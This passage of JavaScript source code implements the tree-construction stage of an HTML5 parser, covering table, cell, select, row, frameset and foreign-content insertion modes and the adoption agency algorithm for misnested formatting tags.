(!tree.openElements.inListItemScope(name)) { tree.parseError('unexpected-end-tag', {name: name}); } else { tree.generateImpliedEndTags(name); if (tree.currentStackItem().localName != name) tree.parseError('end-tag-too-early', {name: name}); tree.openElements.popUntilPopped(name); } }; modes.inBody.endTagHeading = function(name) { if (!tree.openElements.hasNumberedHeaderElementInScope()) { tree.parseError('unexpected-end-tag', {name: name}); return; } tree.generateImpliedEndTags(); if (tree.currentStackItem().localName != name) tree.parseError('end-tag-too-early', {name: name}); tree.openElements.remove_openElements_until(function(e) { return e.isNumberedHeader(); }); }; modes.inBody.endTagFormatting = function(name, attributes) { if (!tree.adoptionAgencyEndTag(name)) this.endTagOther(name, attributes); }; modes.inCaption = Object.create(modes.base); modes.inCaption.start_tag_handlers = { html: 'startTagHtml', caption: 'startTagTableElement', col: 'startTagTableElement', colgroup: 'startTagTableElement', tbody: 'startTagTableElement', td: 'startTagTableElement', tfoot: 'startTagTableElement', thead: 'startTagTableElement', tr: 'startTagTableElement', '-default': 'startTagOther' }; modes.inCaption.end_tag_handlers = { caption: 'endTagCaption', table: 'endTagTable', body: 'endTagIgnore', col: 'endTagIgnore', colgroup: 'endTagIgnore', html: 'endTagIgnore', tbody: 'endTagIgnore', td: 'endTagIgnore', tfood: 'endTagIgnore', thead: 'endTagIgnore', tr: 'endTagIgnore', '-default': 'endTagOther' }; modes.inCaption.processCharacters = function(data) { modes.inBody.processCharacters(data); }; modes.inCaption.startTagTableElement = function(name, attributes) { tree.parseError('unexpected-end-tag', {name: name}); var ignoreEndTag = !tree.openElements.inTableScope('caption'); tree.insertionMode.processEndTag('caption'); if (!ignoreEndTag) tree.insertionMode.processStartTag(name, attributes); }; modes.inCaption.startTagOther = function(name, attributes, selfClosing) { modes.inBody.processStartTag(name, attributes, selfClosing); }; modes.inCaption.endTagCaption = function(name) { if (!tree.openElements.inTableScope('caption')) { assert.ok(tree.context); tree.parseError('unexpected-end-tag', {name: name}); } else { tree.generateImpliedEndTags(); if (tree.currentStackItem().localName != 'caption') { tree.parseError('expected-one-end-tag-but-got-another', { gotName: "caption", expectedName: tree.currentStackItem().localName }); } tree.openElements.popUntilPopped('caption'); tree.clearActiveFormattingElements(); tree.setInsertionMode('inTable'); } }; modes.inCaption.endTagTable = function(name) { tree.parseError("unexpected-end-table-in-caption"); var ignoreEndTag = !tree.openElements.inTableScope('caption'); tree.insertionMode.processEndTag('caption'); if (!ignoreEndTag) tree.insertionMode.processEndTag(name); }; modes.inCaption.endTagIgnore = function(name) { tree.parseError('unexpected-end-tag', {name: name}); }; modes.inCaption.endTagOther = function(name) { modes.inBody.processEndTag(name); }; modes.inCell = Object.create(modes.base); modes.inCell.start_tag_handlers = { html: 'startTagHtml', caption: 'startTagTableOther', col: 'startTagTableOther', colgroup: 'startTagTableOther', tbody: 'startTagTableOther', td: 'startTagTableOther', tfoot: 'startTagTableOther', th: 'startTagTableOther', thead: 'startTagTableOther', tr: 'startTagTableOther', '-default': 'startTagOther' }; modes.inCell.end_tag_handlers = { td: 'endTagTableCell', th: 'endTagTableCell', body: 'endTagIgnore', caption: 'endTagIgnore', col: 'endTagIgnore', colgroup: 'endTagIgnore', html: 'endTagIgnore', table: 'endTagImply', tbody: 'endTagImply', tfoot: 'endTagImply', thead: 'endTagImply', tr: 'endTagImply', '-default': 'endTagOther' }; modes.inCell.processCharacters = function(data) { modes.inBody.processCharacters(data); }; modes.inCell.startTagTableOther = function(name, attributes, selfClosing) { if (tree.openElements.inTableScope('td') || tree.openElements.inTableScope('th')) { this.closeCell(); tree.insertionMode.processStartTag(name, attributes, selfClosing); } else { tree.parseError('unexpected-start-tag', {name: name}); } }; modes.inCell.startTagOther = function(name, attributes, selfClosing) { modes.inBody.processStartTag(name, attributes, selfClosing); }; modes.inCell.endTagTableCell = function(name) { if (tree.openElements.inTableScope(name)) { tree.generateImpliedEndTags(name); if (tree.currentStackItem().localName != name.toLowerCase()) { tree.parseError('unexpected-cell-end-tag', {name: name}); tree.openElements.popUntilPopped(name); } else { tree.popElement(); } tree.clearActiveFormattingElements(); tree.setInsertionMode('inRow'); } else { tree.parseError('unexpected-end-tag', {name: name}); } }; modes.inCell.endTagIgnore = function(name) { tree.parseError('unexpected-end-tag', {name: name}); }; modes.inCell.endTagImply = function(name) { if (tree.openElements.inTableScope(name)) { this.closeCell(); tree.insertionMode.processEndTag(name); } else { tree.parseError('unexpected-end-tag', {name: name}); } }; modes.inCell.endTagOther = function(name) { modes.inBody.processEndTag(name); }; modes.inCell.closeCell = function() { if (tree.openElements.inTableScope('td')) { this.endTagTableCell('td'); } else if (tree.openElements.inTableScope('th')) { this.endTagTableCell('th'); } }; modes.inColumnGroup = Object.create(modes.base); modes.inColumnGroup.start_tag_handlers = { html: 'startTagHtml', col: 'startTagCol', '-default': 'startTagOther' }; modes.inColumnGroup.end_tag_handlers = { colgroup: 'endTagColgroup', col: 'endTagCol', '-default': 'endTagOther' }; modes.inColumnGroup.ignoreEndTagColgroup = function() { return tree.currentStackItem().localName == 'html'; }; modes.inColumnGroup.processCharacters = function(buffer) { var leadingWhitespace = buffer.takeLeadingWhitespace(); if (leadingWhitespace) tree.insertText(leadingWhitespace); if (!buffer.length) return; var ignoreEndTag = this.ignoreEndTagColgroup(); this.endTagColgroup('colgroup'); if (!ignoreEndTag) tree.insertionMode.processCharacters(buffer); }; modes.inColumnGroup.startTagCol = function(name, attributes) { tree.insertSelfClosingElement(name, attributes); }; modes.inColumnGroup.startTagOther = function(name, attributes, selfClosing) { var ignoreEndTag = this.ignoreEndTagColgroup(); this.endTagColgroup('colgroup'); if (!ignoreEndTag) tree.insertionMode.processStartTag(name, attributes, selfClosing); }; modes.inColumnGroup.endTagColgroup = function(name) { if (this.ignoreEndTagColgroup()) { assert.ok(tree.context); tree.parseError('unexpected-end-tag', {name: name}); } else { tree.popElement(); tree.setInsertionMode('inTable'); } }; modes.inColumnGroup.endTagCol = function(name) { tree.parseError("no-end-tag", {name: 'col'}); }; modes.inColumnGroup.endTagOther = function(name) { var ignoreEndTag = this.ignoreEndTagColgroup(); this.endTagColgroup('colgroup'); if (!ignoreEndTag) tree.insertionMode.processEndTag(name) ; }; modes.inForeignContent = Object.create(modes.base); modes.inForeignContent.processStartTag = function(name, attributes, selfClosing) { if (['b', 'big', 'blockquote', 'body', 'br', 'center', 'code', 'dd', 'div', 'dl', 'dt', 'em', 'embed', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'hr', 'i', 'img', 'li', 'listing', 'menu', 'meta', 'nobr', 'ol', 'p', 'pre', 'ruby', 's', 'small', 'span', 'strong', 'strike', 'sub', 'sup', 'table', 'tt', 'u', 'ul', 'var'].indexOf(name) != -1 || (name == 'font' && attributes.some(function(attr){ return ['color', 'face', 'size'].indexOf(attr.nodeName) >= 0 }))) { tree.parseError('unexpected-html-element-in-foreign-content', {name: name}); while (tree.currentStackItem().isForeign() && !tree.currentStackItem().isHtmlIntegrationPoint() && !tree.currentStackItem().isMathMLTextIntegrationPoint()) { tree.openElements.pop(); } tree.insertionMode.processStartTag(name, attributes, selfClosing); return; } if (tree.currentStackItem().namespaceURI == "http://www.w3.org/1998/Math/MathML") { attributes = tree.adjustMathMLAttributes(attributes); } if (tree.currentStackItem().namespaceURI == "http://www.w3.org/2000/svg") { name = tree.adjustSVGTagNameCase(name); attributes = tree.adjustSVGAttributes(attributes); } attributes = tree.adjustForeignAttributes(attributes); tree.insertForeignElement(name, attributes, tree.currentStackItem().namespaceURI, selfClosing); }; modes.inForeignContent.processEndTag = function(name) { var node = tree.currentStackItem(); var index = tree.openElements.length - 1; if (node.localName.toLowerCase() != name) tree.parseError("unexpected-end-tag", {name: name}); while (true) { if (index === 0) break; if (node.localName.toLowerCase() == name) { while (tree.openElements.pop() != node); break; } index -= 1; node = tree.openElements.item(index); if (node.isForeign()) { continue; } else { tree.insertionMode.processEndTag(name); break; } } }; modes.inForeignContent.processCharacters = function(buffer) { var characters = buffer.takeRemaining(); characters = characters.replace(/\u0000/g, function(match, index){ tree.parseError('invalid-codepoint'); return '\uFFFD'; }); if (tree.framesetOk && !isAllWhitespaceOrReplacementCharacters(characters)) tree.framesetOk = false; tree.insertText(characters); }; modes.inHeadNoscript = Object.create(modes.base); modes.inHeadNoscript.start_tag_handlers = { html: 'startTagHtml', basefont: 'startTagBasefontBgsoundLinkMetaNoframesStyle', bgsound: 'startTagBasefontBgsoundLinkMetaNoframesStyle', link: 'startTagBasefontBgsoundLinkMetaNoframesStyle', meta: 'startTagBasefontBgsoundLinkMetaNoframesStyle', noframes: 'startTagBasefontBgsoundLinkMetaNoframesStyle', style: 'startTagBasefontBgsoundLinkMetaNoframesStyle', head: 'startTagHeadNoscript', noscript: 'startTagHeadNoscript', "-default": 'startTagOther' }; modes.inHeadNoscript.end_tag_handlers = { noscript: 'endTagNoscript', br: 'endTagBr', '-default': 'endTagOther' }; modes.inHeadNoscript.processCharacters = function(buffer) { var leadingWhitespace = buffer.takeLeadingWhitespace(); if (leadingWhitespace) tree.insertText(leadingWhitespace); if (!buffer.length) return; tree.parseError("unexpected-char-in-frameset"); this.anythingElse(); tree.insertionMode.processCharacters(buffer); }; modes.inHeadNoscript.processComment = function(data) { modes.inHead.processComment(data); }; modes.inHeadNoscript.startTagBasefontBgsoundLinkMetaNoframesStyle = function(name, attributes) { modes.inHead.processStartTag(name, attributes); }; modes.inHeadNoscript.startTagHeadNoscript = function(name, attributes) { tree.parseError("unexpected-start-tag-in-frameset", {name: name}); }; modes.inHeadNoscript.startTagOther = function(name, attributes) { tree.parseError("unexpected-start-tag-in-frameset", {name: name}); this.anythingElse(); tree.insertionMode.processStartTag(name, attributes); }; modes.inHeadNoscript.endTagBr = function(name, attributes) { tree.parseError("unexpected-end-tag-in-frameset", {name: name}); this.anythingElse(); tree.insertionMode.processEndTag(name, attributes); }; modes.inHeadNoscript.endTagNoscript = function(name, attributes) { tree.popElement(); tree.setInsertionMode('inHead'); }; modes.inHeadNoscript.endTagOther = function(name, attributes) { tree.parseError("unexpected-end-tag-in-frameset", {name: name}); }; modes.inHeadNoscript.anythingElse = function() { tree.popElement(); tree.setInsertionMode('inHead'); }; modes.inFrameset = Object.create(modes.base); modes.inFrameset.start_tag_handlers = { html: 'startTagHtml', frameset: 'startTagFrameset', frame: 'startTagFrame', noframes: 'startTagNoframes', "-default": 'startTagOther' }; modes.inFrameset.end_tag_handlers = { frameset: 'endTagFrameset', noframes: 'endTagNoframes', '-default': 'endTagOther' }; modes.inFrameset.processCharacters = function(data) { tree.parseError("unexpected-char-in-frameset"); }; modes.inFrameset.startTagFrameset = function(name, attributes) { tree.insertElement(name, attributes); }; modes.inFrameset.startTagFrame = function(name, attributes) { tree.insertSelfClosingElement(name, attributes); }; modes.inFrameset.startTagNoframes = function(name, attributes) { modes.inBody.processStartTag(name, attributes); }; modes.inFrameset.startTagOther = function(name, attributes) { tree.parseError("unexpected-start-tag-in-frameset", {name: name}); }; modes.inFrameset.endTagFrameset = function(name, attributes) { if (tree.currentStackItem().localName == 'html') { tree.parseError("unexpected-frameset-in-frameset-innerhtml"); } else { tree.popElement(); } if (!tree.context && tree.currentStackItem().localName != 'frameset') { tree.setInsertionMode('afterFrameset'); } }; modes.inFrameset.endTagNoframes = function(name) { modes.inBody.processEndTag(name); }; modes.inFrameset.endTagOther = function(name) { tree.parseError("unexpected-end-tag-in-frameset", {name: name}); }; modes.inTable = Object.create(modes.base); modes.inTable.start_tag_handlers = { html: 'startTagHtml', caption: 'startTagCaption', colgroup: 'startTagColgroup', col: 'startTagCol', table: 'startTagTable', tbody: 'startTagRowGroup', tfoot: 'startTagRowGroup', thead: 'startTagRowGroup', td: 'startTagImplyTbody', th: 'startTagImplyTbody', tr: 'startTagImplyTbody', style: 'startTagStyleScript', script: 'startTagStyleScript', input: 'startTagInput', form: 'startTagForm', '-default': 'startTagOther' }; modes.inTable.end_tag_handlers = { table: 'endTagTable', body: 'endTagIgnore', caption: 'endTagIgnore', col: 'endTagIgnore', colgroup: 'endTagIgnore', html: 'endTagIgnore', tbody: 'endTagIgnore', td: 'endTagIgnore', tfoot: 'endTagIgnore', th: 'endTagIgnore', thead: 'endTagIgnore', tr: 'endTagIgnore', '-default': 'endTagOther' }; modes.inTable.processCharacters = function(data) { if (tree.currentStackItem().isFosterParenting()) { var originalInsertionMode = tree.insertionModeName; tree.setInsertionMode('inTableText'); tree.originalInsertionMode = originalInsertionMode; tree.insertionMode.processCharacters(data); } else { tree.redirectAttachToFosterParent = true; modes.inBody.processCharacters(data); tree.redirectAttachToFosterParent = false; } }; modes.inTable.startTagCaption = function(name, attributes) { tree.openElements.popUntilTableScopeMarker(); tree.activeFormattingElements.push(Marker); tree.insertElement(name, attributes); tree.setInsertionMode('inCaption'); }; modes.inTable.startTagColgroup = function(name, attributes) { tree.openElements.popUntilTableScopeMarker(); tree.insertElement(name, attributes); tree.setInsertionMode('inColumnGroup'); }; modes.inTable.startTagCol = function(name, attributes) { this.startTagColgroup('colgroup', []); tree.insertionMode.processStartTag(name, attributes); }; modes.inTable.startTagRowGroup = function(name, attributes) { tree.openElements.popUntilTableScopeMarker(); tree.insertElement(name, attributes); tree.setInsertionMode('inTableBody'); }; modes.inTable.startTagImplyTbody = function(name, attributes) { this.startTagRowGroup('tbody', []); tree.insertionMode.processStartTag(name, attributes); }; modes.inTable.startTagTable = function(name, attributes) { tree.parseError("unexpected-start-tag-implies-end-tag", {startName: "table", endName: "table"}); tree.insertionMode.processEndTag('table'); if (!tree.context) tree.insertionMode.processStartTag(name, attributes); }; modes.inTable.startTagStyleScript = function(name, attributes) { modes.inHead.processStartTag(name, attributes); }; modes.inTable.startTagInput = function(name, attributes) { for (var key in attributes) { if (attributes[key].nodeName.toLowerCase() == 'type') { if (attributes[key].nodeValue.toLowerCase() == 'hidden') { tree.parseError("unexpected-hidden-input-in-table"); tree.insertElement(name, attributes); tree.openElements.pop(); return; } break; } } this.startTagOther(name, attributes); }; modes.inTable.startTagForm = function(name, attributes) { tree.parseError("unexpected-form-in-table"); if (!tree.form) { tree.insertElement(name, attributes); tree.form = tree.currentStackItem(); tree.openElements.pop(); } }; modes.inTable.startTagOther = function(name, attributes, selfClosing) { tree.parseError("unexpected-start-tag-implies-table-voodoo", {name: name}); tree.redirectAttachToFosterParent = true; modes.inBody.processStartTag(name, attributes, selfClosing); tree.redirectAttachToFosterParent = false; }; modes.inTable.endTagTable = function(name) { if (tree.openElements.inTableScope(name)) { tree.generateImpliedEndTags(); if (tree.currentStackItem().localName != name) { tree.parseError("end-tag-too-early-named", {gotName: 'table', expectedName: tree.currentStackItem().localName}); } tree.openElements.popUntilPopped('table'); tree.resetInsertionMode(); } else { assert.ok(tree.context); tree.parseError('unexpected-end-tag', {name: name}); } }; modes.inTable.endTagIgnore = function(name) { tree.parseError("unexpected-end-tag", {name: name}); }; modes.inTable.endTagOther = function(name) { tree.parseError("unexpected-end-tag-implies-table-voodoo", {name: name}); tree.redirectAttachToFosterParent = true; modes.inBody.processEndTag(name); tree.redirectAttachToFosterParent = false; }; modes.inTableText = Object.create(modes.base); modes.inTableText.flushCharacters = function() { var characters = tree.pendingTableCharacters.join(''); if (!isAllWhitespace(characters)) { tree.redirectAttachToFosterParent = true; tree.reconstructActiveFormattingElements(); tree.insertText(characters); tree.framesetOk = false; tree.redirectAttachToFosterParent = false; } else { tree.insertText(characters); } tree.pendingTableCharacters = []; }; modes.inTableText.processComment = function(data) { this.flushCharacters(); tree.setInsertionMode(tree.originalInsertionMode); tree.insertionMode.processComment(data); }; modes.inTableText.processEOF = function(data) { this.flushCharacters(); tree.setInsertionMode(tree.originalInsertionMode); tree.insertionMode.processEOF(); }; modes.inTableText.processCharacters = function(buffer) { var characters = buffer.takeRemaining(); characters = characters.replace(/\u0000/g, function(match, index){ tree.parseError("invalid-codepoint"); return ''; }); if (!characters) return; tree.pendingTableCharacters.push(characters); }; modes.inTableText.processStartTag = function(name, attributes, selfClosing) { this.flushCharacters(); tree.setInsertionMode(tree.originalInsertionMode); tree.insertionMode.processStartTag(name, attributes, selfClosing); }; modes.inTableText.processEndTag = function(name, attributes) { this.flushCharacters(); tree.setInsertionMode(tree.originalInsertionMode); tree.insertionMode.processEndTag(name, attributes); }; modes.inTableBody = Object.create(modes.base); modes.inTableBody.start_tag_handlers = { html: 'startTagHtml', tr: 'startTagTr', td: 'startTagTableCell', th: 'startTagTableCell', caption: 'startTagTableOther', col: 'startTagTableOther', colgroup: 'startTagTableOther', tbody: 'startTagTableOther', tfoot: 'startTagTableOther', thead: 'startTagTableOther', '-default': 'startTagOther' }; modes.inTableBody.end_tag_handlers = { table: 'endTagTable', tbody: 'endTagTableRowGroup', tfoot: 'endTagTableRowGroup', thead: 'endTagTableRowGroup', body: 'endTagIgnore', caption: 'endTagIgnore', col: 'endTagIgnore', colgroup: 'endTagIgnore', html: 'endTagIgnore', td: 'endTagIgnore', th: 'endTagIgnore', tr: 'endTagIgnore', '-default': 'endTagOther' }; modes.inTableBody.processCharacters = function(data) { modes.inTable.processCharacters(data); }; modes.inTableBody.startTagTr = function(name, attributes) { tree.openElements.popUntilTableBodyScopeMarker(); tree.insertElement(name, attributes); tree.setInsertionMode('inRow'); }; modes.inTableBody.startTagTableCell = function(name, attributes) { tree.parseError("unexpected-cell-in-table-body", {name: name}); this.startTagTr('tr', []); tree.insertionMode.processStartTag(name, attributes); }; modes.inTableBody.startTagTableOther = function(name, attributes) { if (tree.openElements.inTableScope('tbody') || tree.openElements.inTableScope('thead') || tree.openElements.inTableScope('tfoot')) { tree.openElements.popUntilTableBodyScopeMarker(); this.endTagTableRowGroup(tree.currentStackItem().localName); tree.insertionMode.processStartTag(name, attributes); } else { tree.parseError('unexpected-start-tag', {name: name}); } }; modes.inTableBody.startTagOther = function(name, attributes) { modes.inTable.processStartTag(name, attributes); }; modes.inTableBody.endTagTableRowGroup = function(name) { if (tree.openElements.inTableScope(name)) { tree.openElements.popUntilTableBodyScopeMarker(); tree.popElement(); tree.setInsertionMode('inTable'); } else { tree.parseError('unexpected-end-tag-in-table-body', {name: name}); } }; modes.inTableBody.endTagTable = function(name) { if (tree.openElements.inTableScope('tbody') || tree.openElements.inTableScope('thead') || tree.openElements.inTableScope('tfoot')) { tree.openElements.popUntilTableBodyScopeMarker(); this.endTagTableRowGroup(tree.currentStackItem().localName); tree.insertionMode.processEndTag(name); } else { tree.parseError('unexpected-end-tag', {name: name}); } }; modes.inTableBody.endTagIgnore = function(name) { tree.parseError("unexpected-end-tag-in-table-body", {name: name}); }; modes.inTableBody.endTagOther = function(name) { modes.inTable.processEndTag(name); }; modes.inSelect = Object.create(modes.base); modes.inSelect.start_tag_handlers = { html: 'startTagHtml', option: 'startTagOption', optgroup: 'startTagOptgroup', select: 'startTagSelect', input: 'startTagInput', keygen: 'startTagInput', textarea: 'startTagInput', script: 'startTagScript', '-default': 'startTagOther' }; modes.inSelect.end_tag_handlers = { option: 'endTagOption', optgroup: 'endTagOptgroup', select: 'endTagSelect', caption: 'endTagTableElements', table: 'endTagTableElements', tbody: 'endTagTableElements', tfoot: 'endTagTableElements', thead: 'endTagTableElements', tr: 'endTagTableElements', td: 'endTagTableElements', th: 'endTagTableElements', '-default': 'endTagOther' }; modes.inSelect.processCharacters = function(buffer) { var data = buffer.takeRemaining(); data = data.replace(/\u0000/g, function(match, index){ tree.parseError("invalid-codepoint"); return ''; }); if (!data) return; tree.insertText(data); }; modes.inSelect.startTagOption = function(name, attributes) { if (tree.currentStackItem().localName == 'option') tree.popElement(); tree.insertElement(name, attributes); }; modes.inSelect.startTagOptgroup = function(name, attributes) { if (tree.currentStackItem().localName == 'option') tree.popElement(); if (tree.currentStackItem().localName == 'optgroup') tree.popElement(); tree.insertElement(name, attributes); }; modes.inSelect.endTagOption = function(name) { if (tree.currentStackItem().localName !== 'option') { tree.parseError('unexpected-end-tag-in-select', {name: name}); return; } tree.popElement(); }; modes.inSelect.endTagOptgroup = function(name) { if (tree.currentStackItem().localName == 'option' && tree.openElements.item(tree.openElements.length - 2).localName == 'optgroup') { tree.popElement(); } if (tree.currentStackItem().localName == 'optgroup') { tree.popElement(); } else { tree.parseError('unexpected-end-tag-in-select', {name: 'optgroup'}); } }; modes.inSelect.startTagSelect = function(name) { tree.parseError("unexpected-select-in-select"); this.endTagSelect('select'); }; modes.inSelect.endTagSelect = function(name) { if (tree.openElements.inTableScope('select')) { tree.openElements.popUntilPopped('select'); tree.resetInsertionMode(); } else { tree.parseError('unexpected-end-tag', {name: name}); } }; modes.inSelect.startTagInput = function(name, attributes) { tree.parseError("unexpected-input-in-select"); if (tree.openElements.inSelectScope('select')) { this.endTagSelect('select'); tree.insertionMode.processStartTag(name, attributes); } }; modes.inSelect.startTagScript = function(name, attributes) { modes.inHead.processStartTag(name, attributes); }; modes.inSelect.endTagTableElements = function(name) { tree.parseError('unexpected-end-tag-in-select', {name: name}); if (tree.openElements.inTableScope(name)) { this.endTagSelect('select'); tree.insertionMode.processEndTag(name); } }; modes.inSelect.startTagOther = function(name, attributes) { tree.parseError("unexpected-start-tag-in-select", {name: name}); }; modes.inSelect.endTagOther = function(name) { tree.parseError('unexpected-end-tag-in-select', {name: name}); }; modes.inSelectInTable = Object.create(modes.base); modes.inSelectInTable.start_tag_handlers = { caption: 'startTagTable', table: 'startTagTable', tbody: 'startTagTable', tfoot: 'startTagTable', thead: 'startTagTable', tr: 'startTagTable', td: 'startTagTable', th: 'startTagTable', '-default': 'startTagOther' }; modes.inSelectInTable.end_tag_handlers = { caption: 'endTagTable', table: 'endTagTable', tbody: 'endTagTable', tfoot: 'endTagTable', thead: 'endTagTable', tr: 'endTagTable', td: 'endTagTable', th: 'endTagTable', '-default': 'endTagOther' }; modes.inSelectInTable.processCharacters = function(data) { modes.inSelect.processCharacters(data); }; modes.inSelectInTable.startTagTable = function(name, attributes) { tree.parseError("unexpected-table-element-start-tag-in-select-in-table", {name: name}); this.endTagOther("select"); tree.insertionMode.processStartTag(name, attributes); }; modes.inSelectInTable.startTagOther = function(name, attributes, selfClosing) { modes.inSelect.processStartTag(name, attributes, selfClosing); }; modes.inSelectInTable.endTagTable = function(name) { tree.parseError("unexpected-table-element-end-tag-in-select-in-table", {name: name}); if (tree.openElements.inTableScope(name)) { this.endTagOther("select"); tree.insertionMode.processEndTag(name); } }; modes.inSelectInTable.endTagOther = function(name) { modes.inSelect.processEndTag(name); }; modes.inRow = Object.create(modes.base); modes.inRow.start_tag_handlers = { html: 'startTagHtml', td: 'startTagTableCell', th: 'startTagTableCell', caption: 'startTagTableOther', col: 'startTagTableOther', colgroup: 'startTagTableOther', tbody: 'startTagTableOther', tfoot: 'startTagTableOther', thead: 'startTagTableOther', tr: 'startTagTableOther', '-default': 'startTagOther' }; modes.inRow.end_tag_handlers = { tr: 'endTagTr', table: 'endTagTable', tbody: 'endTagTableRowGroup', tfoot: 'endTagTableRowGroup', thead: 'endTagTableRowGroup', body: 'endTagIgnore', caption: 'endTagIgnore', col: 'endTagIgnore', colgroup: 'endTagIgnore', html: 'endTagIgnore', td: 'endTagIgnore', th: 'endTagIgnore', '-default': 'endTagOther' }; modes.inRow.processCharacters = function(data) { modes.inTable.processCharacters(data); }; modes.inRow.startTagTableCell = function(name, attributes) { tree.openElements.popUntilTableRowScopeMarker(); tree.insertElement(name, attributes); tree.setInsertionMode('inCell'); tree.activeFormattingElements.push(Marker); }; modes.inRow.startTagTableOther = function(name, attributes) { var ignoreEndTag = this.ignoreEndTagTr(); this.endTagTr('tr'); if (!ignoreEndTag) tree.insertionMode.processStartTag(name, attributes); }; modes.inRow.startTagOther = function(name, attributes, selfClosing) { modes.inTable.processStartTag(name, attributes, selfClosing); }; modes.inRow.endTagTr = function(name) { if (this.ignoreEndTagTr()) { assert.ok(tree.context); tree.parseError('unexpected-end-tag', {name: name}); } else { tree.openElements.popUntilTableRowScopeMarker(); tree.popElement(); tree.setInsertionMode('inTableBody'); } }; modes.inRow.endTagTable = function(name) { var ignoreEndTag = this.ignoreEndTagTr(); this.endTagTr('tr'); if (!ignoreEndTag) tree.insertionMode.processEndTag(name); }; modes.inRow.endTagTableRowGroup = function(name) { if (tree.openElements.inTableScope(name)) { this.endTagTr('tr'); tree.insertionMode.processEndTag(name); } else { tree.parseError('unexpected-end-tag', {name: name}); } }; modes.inRow.endTagIgnore = function(name) { tree.parseError("unexpected-end-tag-in-table-row", {name: name}); }; modes.inRow.endTagOther = function(name) { modes.inTable.processEndTag(name); }; modes.inRow.ignoreEndTagTr = function() { return !tree.openElements.inTableScope('tr'); }; modes.afterAfterFrameset = Object.create(modes.base); modes.afterAfterFrameset.start_tag_handlers = { html: 'startTagHtml', noframes: 'startTagNoFrames', '-default': 'startTagOther' }; modes.afterAfterFrameset.processEOF = function() {}; modes.afterAfterFrameset.processComment = function(data) { tree.insertComment(data, tree.document); }; modes.afterAfterFrameset.processCharacters = function(buffer) { var characters = buffer.takeRemaining(); var whitespace = ""; for (var i = 0; i < characters.length; i++) { var ch = characters[i]; if (isWhitespace(ch)) whitespace += ch; } if (whitespace) { tree.reconstructActiveFormattingElements(); tree.insertText(whitespace); } if (whitespace.length < characters.length) tree.parseError('expected-eof-but-got-char'); }; modes.afterAfterFrameset.startTagNoFrames = function(name, attributes) { modes.inHead.processStartTag(name, attributes); }; modes.afterAfterFrameset.startTagOther = function(name, attributes, selfClosing) { tree.parseError('expected-eof-but-got-start-tag', {name: name}); }; modes.afterAfterFrameset.processEndTag = function(name, attributes) { tree.parseError('expected-eof-but-got-end-tag', {name: name}); }; modes.text = Object.create(modes.base); modes.text.start_tag_handlers = { '-default': 'startTagOther' }; modes.text.end_tag_handlers = { script: 'endTagScript', '-default': 'endTagOther' }; modes.text.processCharacters = function(buffer) { if (tree.shouldSkipLeadingNewline) { tree.shouldSkipLeadingNewline = false; buffer.skipAtMostOneLeadingNewline(); } var data = buffer.takeRemaining(); if (!data) return; tree.insertText(data); }; modes.text.processEOF = function() { tree.parseError("expected-named-closing-tag-but-got-eof", {name: tree.currentStackItem().localName}); tree.openElements.pop(); tree.setInsertionMode(tree.originalInsertionMode); tree.insertionMode.processEOF(); }; modes.text.startTagOther = function(name) { throw "Tried to process start tag " + name + " in RCDATA/RAWTEXT mode"; }; modes.text.endTagScript = function(name) { var node = tree.openElements.pop(); assert.ok(node.localName == 'script'); tree.setInsertionMode(tree.originalInsertionMode); }; modes.text.endTagOther = function(name) { tree.openElements.pop(); tree.setInsertionMode(tree.originalInsertionMode); }; } TreeBuilder.prototype.setInsertionMode = function(name) { this.insertionMode = this.insertionModes[name]; this.insertionModeName = name; }; TreeBuilder.prototype.adoptionAgencyEndTag = function(name) { var outerIterationLimit = 8; var innerIterationLimit = 3; var formattingElement; function isActiveFormattingElement(el) { return el === formattingElement; } var outerLoopCounter = 0; while (outerLoopCounter++ < outerIterationLimit) { formattingElement = this.elementInActiveFormattingElements(name); if (!formattingElement || (this.openElements.contains(formattingElement) && !this.openElements.inScope(formattingElement.localName))) { this.parseError('adoption-agency-1.1', {name: name}); return false; } if (!this.openElements.contains(formattingElement)) { this.parseError('adoption-agency-1.2', {name: name}); this.removeElementFromActiveFormattingElements(formattingElement); return true; } if (!this.openElements.inScope(formattingElement.localName)) { this.parseError('adoption-agency-4.4', {name: name}); } if (formattingElement != this.currentStackItem()) { this.parseError('adoption-agency-1.3', {name: name}); } var furthestBlock = this.openElements.furthestBlockForFormattingElement(formattingElement.node); if (!furthestBlock) { this.openElements.remove_openElements_until(isActiveFormattingElement); this.removeElementFromActiveFormattingElements(formattingElement); return true; } var afeIndex = this.openElements.elements.indexOf(formattingElement); var commonAncestor = this.openElements.item(afeIndex - 1); var bookmark = this.activeFormattingElements.indexOf(formattingElement); var node = furthestBlock; var lastNode = furthestBlock; var index = this.openElements.elements.indexOf(node); var innerLoopCounter = 0; while (innerLoopCounter++ < innerIterationLimit) { index -= 1; node = this.openElements.item(index); if (this.activeFormattingElements.indexOf(node) < 0) { this.openElements.elements.splice(index, 1); continue; } if (node == formattingElement) break; if (lastNode == furthestBlock) bookmark = this.activeFormattingElements.indexOf(node) + 1; var clone = this.createElement(node.namespaceURI, node.localName, node.attributes); var newNode = new StackItem(node.namespaceURI, node.localName, node.attributes, clone); this.activeFormattingElements[this.activeFormattingElements.indexOf(node)] = newNode; this.openElements.elements[this.openElements.elements.indexOf(node)] = newNode; node = newNode; this.detachFromParent(lastNode.node); this.attachNode(lastNode.node, node.node); lastNode = node; } this.detachFromParent(lastNode.node); if (commonAncestor.isFosterParenting()) { this.insertIntoFosterParent(lastNode.node); } else { this.attachNode(lastNode.node, commonAncestor.node); } var clone = this.createElement("http://www.w3.org/1999/xhtml", formattingElement.localName, formattingElement.attributes); var formattingClone = new StackItem(formattingElement.namespaceURI, formattingElement.localName, formattingElement.attributes, clone); this.reparentChildren(furthestBlock.node, clone); this.attachNode(clone, furthestBlock.node); this.removeElementFromActiveFormattingElements(formattingElement); this.activeFormattingElements.splice(Math.min(bookmark, this.activeFormattingElements.length), 0, formattingClone); this.openElements.remove(formattingElement); this.openElements.elements.splice(this.openElements.elements.indexOf(furthestBlock) + 1, 0, formattingClone); } return true; }; TreeBuilder.prototype.start = function() { throw "Not mplemented"; }; TreeBuilder.prototype.startTokenization = function(tokenizer) { this.tokenizer = tokenizer; this.compatMode = "no quirks"; this.originalInsertionMode = "initial"; this.framesetOk = true; this.openElements = new ElementStack(); this.activeFormattingElements = []; this.start(); if (this.context) { switch(this.context) { case 'title': case 'textarea': this.tokenizer.setState(Tokenizer.RCDATA); break; case 'style': case 'xmp': case 'iframe': case 'noembed': case 'noframes': this.tokenizer.setState(Tokenizer.RAWTEXT); break; case 'script': 